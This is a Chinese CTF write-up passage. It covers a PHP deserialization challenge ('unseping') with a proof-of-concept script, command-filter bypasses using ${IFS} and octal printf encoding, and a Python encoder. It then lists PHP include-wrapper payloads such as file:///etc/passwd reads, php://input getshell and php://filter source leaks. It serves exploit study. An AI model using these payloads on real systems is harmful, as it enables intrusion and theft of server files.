unseping
- [/code]poc
- [code]<?php
- class ease{
- private $method;
- private $args;
- function __construct($method, $args) {
- $this->method = $method;
- $this->args = $args;
- }
-
- }
- $a = new ease("ping",array('ls'));
- $b = serialize($a);
- echo $b;
- echo'</br>';
- echo base64_encode($b);
- ?>
- //流程: 64解码,反序列化出一条实例化语句,调用了构造方法完成初始化,继续调用wakeup,将this->args中进行waf函数过滤。代码继续执行,结束之时,调用destruct函数,满足if 进入调用构造函数,间接调用ping函数中的exec。
- /*
- 绕过:因为过滤了很多命令,这里查阅资料到一下绕过方式。
- 单引号、双引号、${Z}。例如ls 可以 'l""'
- 空格绕过:${IFS}
- /绕过:$(printf "\154\163")ls命令,这个编码后可以拼接
- "\154\163" 就是ls
- 把 cat$[IFS]flag_1s_here/xx.php 转成ascii 然后8进制 替换地方
- 最终$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")
- 然后就和以前一样就行了,payload
- */
复制代码- str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
- arr = []
- for i in str1:
- //对字符先转换为ASCII码,再转换为八进制
- lett = oct(ord(i))
- //这个主要是为了将八进制前面的0o替换掉
- lett=str(lett).replace("0o","")
- arr.append(lett)
- sym = "\"
- //将所有的八进制组合,最终的结果第一个地方应该再添加一个\
- ccc=sym.join(arr)
- print(ccc)
复制代码 Include
CTF常用伪协议总结_Asionm的博客-CSDN博客
Php伪协议:
<ul>file://协议。用来读取本地的文件,当用于文件读取函数时可以用。
常见检测是否存在漏洞写法:
xxx/?file=file:///etc/passwd
此协议不受allow_url_fopen,allow_url_include配置影响
php:input协议。此协议一般用于输入getshell的代码。- 在get处填上php://input如下
xxx.xxx/?cmd=php://input
然后用hackbar或者其他工具,postPHP代码进行检验,如
此协议受allow_url_include配置影响
php://filter协议。此协议一般用来查看源码
一般用法如下
xxx.xxx/?file=php://filter/read=convert.base64-encode/resource=index.php
出来的是base64码需要进行解码
此协议不受allow_url_fopen,allow_url_include配置影响
data://协议。需要allow_url_fopen,allow_url_include均为on
这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。常用代码如下:
<a href="http://127.0.0.1/include.php?file=data://text/plain,%3C?php%20phpinfo();?" target="_blank" rel="noopener">http://127.0.0.1/include.php?file=data://text/plain, |